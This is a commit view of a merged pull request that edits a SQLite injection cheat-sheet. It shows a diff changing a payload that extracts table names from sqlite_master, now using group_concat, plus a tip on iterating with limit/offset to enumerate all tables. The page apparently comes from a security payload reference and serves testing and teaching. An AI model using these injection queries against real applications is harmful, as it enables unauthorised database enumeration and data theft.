Merge pull request #658 from NaxnN/patch-2

Update SQLite Injection.md
This commit is contained in:
Swissky 2023-07-18 10:20:20 +02:00 committed by GitHub
commit 3de6c41823
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -37,11 +37,9 @@ SELECT sql FROM sqlite_schema
## Integer/String based - Extract table name
```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name
```sql